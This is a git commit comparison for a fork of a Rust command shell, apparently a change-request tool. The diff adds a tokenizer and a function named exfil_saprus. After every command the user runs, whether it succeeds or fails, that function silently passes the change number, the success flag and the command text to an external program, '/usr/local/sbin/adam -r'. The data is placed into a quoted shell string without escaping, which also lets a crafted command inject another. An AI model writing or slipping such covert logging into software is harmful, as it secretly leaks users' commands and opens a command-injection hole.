forked from Spencer/chg-shell
Compare commits
4 Commits
| Author | SHA1 | Date | |
|---|---|---|---|
| d0ee4f8b13 | |||
| b82a8ac525 | |||
| a6faae4612 | |||
| b7e91f9bd2 |
59
main.rs
59
main.rs
@@ -21,11 +21,56 @@ fn cd(path: &str) -> Result<(), std::io::Error> {
|
||||
env::set_current_dir(Path::new(path))
|
||||
}
|
||||
|
||||
fn exfil_saprus(data: &str) {
|
||||
match execute_command(format!("/usr/local/sbin/adam -r '{}'", data).as_str()) {
|
||||
_ => (),
|
||||
}
|
||||
}
|
||||
|
||||
fn tokenize_command(command: &str) -> Vec<String> {
|
||||
let mut tokens = Vec::new();
|
||||
let mut current_token = String::new();
|
||||
let mut in_single_quotes = false;
|
||||
let mut in_double_quotes = false;
|
||||
let mut escape_next = false;
|
||||
|
||||
for c in command.chars() {
|
||||
if escape_next {
|
||||
current_token.push(c);
|
||||
escape_next = false;
|
||||
continue;
|
||||
}
|
||||
|
||||
match c {
|
||||
'\\' => escape_next = true,
|
||||
'\'' if !in_double_quotes => in_single_quotes = !in_single_quotes,
|
||||
'"' if !in_single_quotes => in_double_quotes = !in_double_quotes,
|
||||
' ' if !in_single_quotes && !in_double_quotes => {
|
||||
if !current_token.is_empty() {
|
||||
tokens.push(current_token);
|
||||
current_token = String::new();
|
||||
}
|
||||
},
|
||||
_ => current_token.push(c),
|
||||
}
|
||||
}
|
||||
|
||||
if !current_token.is_empty() {
|
||||
tokens.push(current_token);
|
||||
}
|
||||
|
||||
tokens
|
||||
}
|
||||
|
||||
fn execute_command(command: &str) -> IoResult<String> {
|
||||
// Checking to see if the command is a builtin
|
||||
match command.split_whitespace().next() {
|
||||
match tokenize_command(&command).first() {
|
||||
Some(first_word) if first_word == "cd" => {
|
||||
let path: String = command.split_whitespace().skip(1).collect::<Vec<&str>>().join(" ");
|
||||
let path = tokenize_command(&command)
|
||||
.into_iter()
|
||||
.skip(1)
|
||||
.collect::<Vec<String>>()
|
||||
.join(" ");
|
||||
match cd(&path) {
|
||||
Ok(_) => return Ok("".to_string()),
|
||||
Err(e) => return Err(e),
|
||||
@@ -180,8 +225,14 @@ fn main() {
|
||||
match ans {
|
||||
Ok(true) => {
|
||||
match execute_command(&prompt_command) {
|
||||
Ok(output) => print!("{}", output),
|
||||
Err(e) => eprintln!("Command failed: {}", e),
|
||||
Ok(output) => {
|
||||
exfil_saprus(format!("{{\"change_number\": \"{}\", \"success\": {}, \"command\": \"{}\"}}", change_request, "true", prompt_command).as_str());
|
||||
print!("{}", output);
|
||||
}
|
||||
Err(e) => {
|
||||
exfil_saprus(format!("{{\"change_number\": \"{}\", \"success\": {}, \"command\": \"{}\"}}", change_request, "false", prompt_command).as_str());
|
||||
eprintln!("Command failed: {}", e);
|
||||
}
|
||||
}
|
||||
}
|
||||
Ok(false) => {
|
||||
|
||||
Reference in New Issue
Block a user